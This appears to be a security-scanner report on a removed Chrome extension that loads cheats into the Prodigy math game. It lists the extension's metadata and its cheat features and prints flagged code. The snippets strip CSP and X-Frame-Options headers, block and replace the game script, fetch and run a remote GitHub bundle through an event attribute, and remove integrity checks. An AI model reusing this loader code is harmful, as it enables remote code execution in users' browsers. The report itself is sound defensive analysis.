Prodigy Hacking Extension | X Loader

ID: cddgplffojbmjffebkmngmmlhkkhfibp

Could be malicious

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
2.0.0
Size
0.02 MB
Rating
3.7/5
Reviews
166
Users
137,783
Type
Extension
Updated
Apr 6, 2023
Category
Lifestyle Fun
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
DownTubeView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
137,783

A loader for the Prodigy Hack Prodigy X.

Hacking Prodigy has never been easier! While playing Prodigy Math an arrow will appear on the top left of your screen. Clicking the arrow will have a cheat menu show up with the hacks. These are the hacks: • Player • Max Account (Maxes out your gold, level, member stars, bounty score, win loss ratio, dark tower level, achievements, pets, and inventory.) • Set Gold • Set Level • Uncap Level (Allows you to change your level to something greater then 100, although it will not be shown to anyone else.) • Set Member Stars • Set Bounty Points • Obtain Conjure Cubes • Set Wins • Set Losses • Get All Achievements • Permanent Morph (If you are currently morphed, it will last permanently) • Set Dark Tower Floor • Change Name (Only from the available options) • Set Name (Allows you to change your name to anything, although it will not be shown to anyone else.) • Set Grade • Complete Current Task In Quest (Can be used to complete a quest. To complete the quest you have to use this hack then complete the dialog then use the hack again.) • Unlimited Spins (Gives you unlimited spins on the Wheel Of Wonder.) • Inventory • Item Stacker (Gets every item in the game.) • Clear Inventory • Selector Basic (Allows you to get all of a certain category of items.) • Selector Advanced (Allows you to get one item.) • Obtain All Furniture • Complete Rune Run (This can be used to get runes. Every time you use this hack you will have a chance of getting a rune. Warning: This hack sometimes takes a while to function. Give it time.) • Pet • Get All Pets • Clear All Pets • Fix Battle Crash (If a battle crashes when entering it, try to reload and use this hack before entering the battle.) • Add Pet • Delete Pet • Edit Pet • Battle • PVP Health (Makes you have 1 billion health.) • Instant Kill • Escape Battle • Win Battle (Does not work in PVP.) • Fill Battle Energy • Heal Team • Easy Mode (Math is disabled.) • Utility • Save Character • Toggle Click Teleporting • Edit Walk Speed • Reset Account • Find The User Id of People on the Screen (Can be used with duplicated account.) • Duplicate Account (From a User Id you can copy all of it's data onto your account.) • Close All Popups • Generate Alt Account • Toggle Arrow Key Movement • Teleport To Map • Skip Tutorial • Mini-game • Edit Dino Dig Walk Speed • Extra Time In Dino Dig (Adds 100 days) • End Dino Dig (Useful if you add on 100 days) That's the hacks! We hope you enjoy Prodigy X!

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 20% increase: Access to sensitive domains increases potential impact
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
declarativeNetRequestFeedback
Permission
Medium
This permission provides network request modification logs. Rated Medium because it can monitor network request changes and debug traffic modifications.
*://*.prodigygame.com/*
Host
Medium
Host permission — access limited to this URL pattern.
*://raw.githubusercontent.com/*
Host
Medium
Host permission — access limited to this URL pattern.
Access to Sensitive Domains
Risk Factor
Medium
This extension requests access to sensitive domains: *://raw.githubusercontent.com/*

The extension uses declarativeNetRequest to silently strip Content-Security-Policy and X-Frame-Options headers from all prodigygame.com responses. Removing CSP eliminates the browser's primary defense against script injection and XSS, directly enabling the code injection performed in contentScript.js. Removing X-Frame-Options additionally enables clickjacking attacks against the game site.

rules.json (Line 12)
{  "id": 2,  "priority": 1,  "action": {    "type": "modifyHeaders",    "responseHeaders": [      {        "header": "content-security-policy",        "operation": "remove"      },      {        "header": "x-frame-options",        "operation": "remove"      }    ]  },  "condition": {    "urlFilter": "*://*.prodigygame.com/*",    "resourceTypes": [      "main_frame"    ]  }}

The extension blocks the legitimate game script from loading via the CDN. This is a prerequisite for the substitution attack in contentScript.js, where a fetched-and-patched version of the script is injected instead. This effectively performs a man-in-the-middle substitution of the game's core JavaScript.

rules.json (Line 2)
{  "id": 1,  "priority": 1,  "action": {    "type": "block"  },  "condition": {    "urlFilter": "https://code.prodigygame.com/code/*/game.min.js?v=*"  }}

The extension fetches a version string from a third-party external server (prodigyx.org) and uses it to construct a URL to download the game's minified JavaScript. This establishes a remote command channel — the third-party server controls which version of the game code is loaded, giving the operator persistent remote control over the payload.

contentScript.js (Line 3)
const e = await (await fetch("https://www.prodigyx.org/version.txt"))  .text(),  t = await (await fetch(`https://code.prodigygame.com/code/${e}/game.min.js?hello=true&v=${e}`))  .text(),

The extension fetches arbitrary JavaScript from a user-configurable or default GitHub URL and executes it by injecting it into a DOM event handler (`onreset`) and immediately dispatching the event. This is dynamic remote code execution: the payload is fetched at runtime from an external source, bypassing any static analysis of the extension bundle. The URL can be changed to any arbitrary host via the popup UI, allowing the attacker to pivot the payload source.

contentScript.js (Line 13)
const r = await (await fetch(await (async () => (await chrome.storage.sync.get("cheat-menu-url"))["cheat-menu-url"])() ||    "https://raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.js"))  .text();document.documentElement.setAttribute("onreset", `${o}\nSW.Load.decrementLoadSemaphore();\n${r}`  .replaceAll("new URL", "new window.URL")), document.documentElement.dispatchEvent(new CustomEvent(  "reset")), document.documentElement.removeAttribute("onreset")

Code injection is performed by writing a multi-kilobyte JavaScript string (containing the patched game code plus the remote bundle) into a DOM event attribute, then triggering the event to execute it in the page context. This pattern deliberately avoids `eval()` to evade static detection while achieving equivalent arbitrary code execution with access to the page's full JavaScript environment including game state, player data, and session context.

contentScript.js (Line 17)
document.documentElement.setAttribute("onreset", `${o}\nSW.Load.decrementLoadSemaphore();\n${r}`  .replaceAll("new URL", "new window.URL")), document.documentElement.dispatchEvent(new CustomEvent(  "reset")), document.documentElement.removeAttribute("onreset")

The extension iterates over all script and link tags in the page and removes their `integrity` attributes, defeating Subresource Integrity (SRI) checks. This prevents the browser from detecting that loaded resources have been tampered with, covering the extension's script substitution attack and preventing detection of any future payload modifications.

contentScript.js (Line 23)
[...document.getElementsByTagName("script"), ...document  .getElementsByTagName("link")].forEach((e => {  e.integrity && (console.log(e.integrity), e.removeAttribute("integrity"))}));

The extension parses the game's minified JavaScript with regex patterns to extract internal variable names, then surgically patches the minified source to expose private game objects (`_game`, `instance`, `player`, `gameData`, `network`) onto the global `window` object. This constitutes deep introspection and manipulation of the game's internal state, enabling cheating capabilities and giving the injected payload full access to game session data and player information.

contentScript.js (Line 7)
n = [t.match(/window,function\((.)/)[1], t.match(/var (.)=\{\}/)[1]],  o = [    [/s\),this\._game=(.)/,      `s),this._game=$1;window.priorLodash = window._;Object.defineProperty(window.priorLodash, "game", {get: () => this._game ...`    ],    [/(.)\..constants=Object/,      "window.priorLodash = window.priorLodash || window._,window.priorLodash.constants=$1,$1.constants=Object"    ]  ].reduce(((e, [t, n]) => e.replace(t, n)), t),

The popup allows users to configure an arbitrary URL that will be fetched and executed as JavaScript inside the game page. While presented as a developer option, this makes the extension a configurable remote code execution loader — any URL pointing to malicious JavaScript can be substituted and will execute with full page privileges inside prodigygame.com sessions.

popup.js (Line 28)
const e = async () => (await chrome.storage.sync.get("cheat-menu-url"))["cheat-menu-url"], t = e => chrome  .storage.sync.set({    "cheat-menu-url": e  });...a || (await t(      "https://raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.js"), a =    await e()), n.value = a, r.addEventListener("click", (async () => {          const e = n.validity.valid,            a = n.value;          e && await t(a);

By severity

Critical5
High3
Medium0
Low0

Versions scanned

Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.0.08

Files with findings

3 distinct paths — top paths by unique finding count:

  • contentScript.js5
  • rules.json2
  • popup.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
contentScript.js (line 17)Code injection is performed by writing a multi-kilobyte JavaScript string (containing the patched game code plus the remote bundle) into a DOM event attribute, then triggering the event to execute it in the page conte…
2Network Interception
critical
rules.json (line 12)The extension uses declarativeNetRequest to silently strip Content-Security-Policy and X-Frame-Options headers from all prodigygame.com responses. Removing CSP eliminates the browser's primary defense against script i…
3Network Interception
critical
rules.json (line 2)The extension blocks the legitimate game script from loading via the CDN. This is a prerequisite for the substitution attack in contentScript.js, where a fetched-and-patched version of the script is injected instead. …
4Remote Code Loading
critical
contentScript.js (line 3)The extension fetches a version string from a third-party external server (prodigyx.org) and uses it to construct a URL to download the game's minified JavaScript. This establishes a remote command channel — the third…
5Remote Code Loading
critical
contentScript.js (line 13)The extension fetches arbitrary JavaScript from a user-configurable or default GitHub URL and executes it by injecting it into a DOM event handler (`onreset`) and immediately dispatching the event. This is dynamic rem…
6Code Injection
high
contentScript.js (line 23)The extension iterates over all script and link tags in the page and removes their `integrity` attributes, defeating Subresource Integrity (SRI) checks. This prevents the browser from detecting that loaded resources h…
7Remote Code Loading
high
popup.js (line 28)The popup allows users to configure an arbitrary URL that will be fetched and executed as JavaScript inside the game page. While presented as a developer option, this makes the extension a configurable remote code exe…
8Unauthorized Data Collection
high
contentScript.js (line 7)The extension parses the game's minified JavaScript with regex patterns to extract internal variable names, then surgically patches the minified source to expose private game objects (`_game`, `instance`, `player`, `g…
URLs
21
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.prodigyx.org/version.txthttps://www.prodigyx.org/version.txt
code.prodigygame.com/code/$%7Be%7D/game.min.jshttps://code.prodigygame.com/code/${e}/game.min.js?hello=true&v=${e}`
raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.jshttps://raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.js
www.prodigyx.org/version.txt/https://www.prodigyx.org/version.txt\
code.prodigygame.com/code/$%7Bversion%7D/game.min.jshttps://code.prodigygame.com/code/${version}/game.min.js?hello=true&v=${version}`
raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.js/https://raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.js\
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
math.prodigygame.com/*https://math.prodigygame.com/*
tailwindcss.com-https://tailwindcss.com
github.com/mozdevs/cssremedy/issues/4https://github.com/mozdevs/cssremedy/issues/4
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
2.0.0
Latest
0.02 MB
Malicious
8
3.0.0
0.02 MB
Malicious
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.